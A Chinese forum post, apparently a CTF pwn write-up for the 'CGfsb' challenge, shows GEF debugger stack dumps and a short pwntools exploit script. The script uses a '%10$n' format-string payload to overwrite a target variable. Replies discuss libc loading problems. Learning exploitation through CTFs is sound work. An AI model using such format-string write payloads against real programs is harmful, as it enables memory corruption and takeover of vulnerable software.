    0x80486ca <main+253>       mov    DWORD PTR [esp], eax
 →  0x80486cd <main+256>       call   0x8048460 <printf@plt>
   ↳   0x8048460 <printf@plt+0>   jmp    DWORD PTR ds:0x804a014
       0x8048466 <printf@plt+6>   push   0x10
       0x804846b <printf@plt+11>  jmp    0x8048430
       0x8048470 <fgets@plt+0>    jmp    DWORD PTR ds:0x804a018
       0x8048476 <fgets@plt+6>    push   0x18
       0x804847b <fgets@plt+11>   jmp    0x8048430
────────────────────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
)
────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "CGfsb", stopped 0x80486cd in main (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80486cd → main()
───────────────────────────────────────────────────────────────────────────────────────────────
 
Breakpoint 1, 0x080486cd in main ()
gef➤  x/10wx $esp
0xffffce20:    0xffffce48    0xffffce3e    0xf7fb55c0    0xffffce8c
0xffffce30:    0xf7ffda9c    0x00000001    0xf7fd0410    0x6f6e0001
0xffffce40:    0x656d616e    0x0000000a
gef➤  x/20wx $esp
0xffffce20:    0xffffce48    0xffffce3e    0xf7fb55c0    0xffffce8c
0xffffce30:    0xf7ffda9c    0x00000001    0xf7fd0410    0x6f6e0001
0xffffce40:    0x656d616e    0x0000000a    0x41414141    0x41414141
0xffffce50:    0x00000a41    0x00000000    0x00000000    0x00000000
0xffffce60:    0x00000000    0x00000000    0x00000000    0x00000000

在第十个位置上存放我们的字符串,据此编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
context.log_level = "DEBUG"
pwnme_address = 0x0804A068
payload = p32(pwnme_address)+'AAAA'+'%10$n'
 
io = process('CGfsb')
io.recv()
io.sendline('noname')
io.recv()
 
io.sendline(payload)
io.recv()

一些小技巧

  1. 学习别人exp的时候,仅仅看懂可能还不够,尝试添加gdb.attach上去试试payload发出去之后控制流如何变化。
  2. 有些时候书本上由于篇幅原因一些知识一笔带过,但是比较重要的基础知识例如elf文件格式,最好花时间学习书后的参考资料,相关的paper,etc.

[2022夏季班]《安卓高级研修班(网课)》月薪三万班招生中~

最后于 2021-5-14 00:45 被顾言庭编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 177
活跃值: 活跃值 (74)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
天堂猪 活跃值 2021-5-28 15:27
2
0
level3怎么都不肯加载这个so
雪    币: 9890
活跃值: 活跃值 (1605)
能力值: ( LV13,RANK:327 )
在线值:
发帖
回帖
粉丝
顾言庭 活跃值 4 2021-6-3 14:01
3
0
天堂猪 level3怎么都不肯加载这个so[em_9]
我也是试了多次无法正确加载提供的so,猜想可能是因为动态加载器不匹配的原因。我觉得基于stack的pwn实战中只要能运行程序,提供的 libc不加载也行,我的exp里也只是用提供的so做了一些取偏移的操作。
游客
登录 | 注册 方可回帖
返回